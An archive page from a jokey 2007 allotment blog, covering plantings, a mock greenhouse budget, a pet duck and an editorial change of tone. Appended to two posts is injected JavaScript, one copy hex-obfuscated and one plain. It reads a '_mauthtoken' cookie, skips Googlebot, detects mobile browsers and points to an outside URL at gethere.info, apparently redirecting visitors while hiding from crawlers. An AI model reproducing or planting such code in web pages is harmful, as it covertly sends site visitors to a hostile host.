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Archive for May, 2007

Hi Dig fans,

Remember April 2007? What a month that was, eh.

We crossed off Item # 456 on the Camellotment “To-Do” list when we purchased an ‘all-weather’ ashtray.

 

Larry The Lavender Plant.

The dreaded Japanese Knotweed started to make a comeback. We plan to get vicious on it’s ass in May. The plan involves weapons-grade Flamethrowers.

Allotment Secretary Martin Reeve explains “for the 3rd and final time” that the use of Flamethrowers is strictly prohibited.

It all started to take some kind of shape…..

The Shed in all it’s dank and dusty glory.

Phew! That was April.

We planted:

 – Onions (Red, White and Spanish)

 – Garlic

 – Lavender

 – Mint

 – Beetroot

 – Spinach

& last but not least:

 – Rhubarb 

…but the Rhubarb died, the first significant casualty.

We’ll never forget you, Rhubarb.

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Hi Dig Fans,

Plans for the Camellotment Greenhouse are afoot! We merely await the rubber-stamp on our funding application.

This will be no ordinary greenhouse, oh no…

This may be the best greenhouse ever constructed!

It will cost a staggering £22!

But it will not and cannot be achieved without the help of Creative Industries Greenhouse Funding.

I hope you will support us. 

Here’s how the costs will break down:

PHASE 1: Feasibility study

8 Pints of Beer @ £2.50 each = £20

PHASE 2: Procurement

4 x Large ‘Hoola-Hoop’ style things = £2 (@ 50p each at the market)

Some Clear Plastic Sheeting = £Pinched

PHASE 3: Construction

Information unavailable at the time of going to press.

Likely to involve artistic differences.

PHASE 4: LAUNCH PARTY!

We’d like that Soweto Kinch fella to come and play his trombone.

PHASE 5: Legacy

The cultivation of plants and stuff. Oh, and a place to sit and read the newspaper when it rains.

__________________________________________________________________

I’m sure you will agree that our proposal is quite compelling. We look forward to hearing from you shortly. 

Love,

Camellotment

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DUCKS!

We have a pet duck. 

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Camellotment done gets writ about by someone else on the interspazz….

http://dubber.wordpress.com/2007/04/09/the-smell-of-dirt/

We’re *this* close to making millions of quids from this, I can feel it. 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For those of you with an insatiable thirst for nostalgia…..here’s the Camellotment Pictorial Hits from the classic month of March 2007!

This is our nieghbour, Jason. The photo was sent to the tree-hugging lentil-eaters at The Guardian for their weekly photo competition. The subject that week was “Spring”. We didn’t win. Boo!

Off to the pub….

By the end of March we had made progress at Camellotment and become ideologically distanced from The Guardian. Everyone was happy.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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When we first started this blog we bit off more that we could chew.

There were detailed descriptions of processes, activities, plans and even (oh Jesus Christ on a rubber cross!) Latin names for things.

The whole thing was wordy and a little too…..worthy.

Besides, we should be spending our time digging rather than DIGGing. The Allotment should be wicked, rather than WIKI’d.

Therefore an executive decision has been taken to dispense with all of that. Henceforth we plan to keep to the fucking facts.

We won’t bother editing previous posts to reflect the currect editorial regime since the current editorial regime has always been the editorial regime. Just avert your eyes to earlier posts and make sure your current haircut is suitably ‘edgy’. 

You should also ignore the fact the what we thought was Mare’s Tail was actually Bindweed. That was a post-modern joke that you simply didn’t get. Oh, how we laughed here at Camellotment about that one!

Anyway, Dig fans, as you were….if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| 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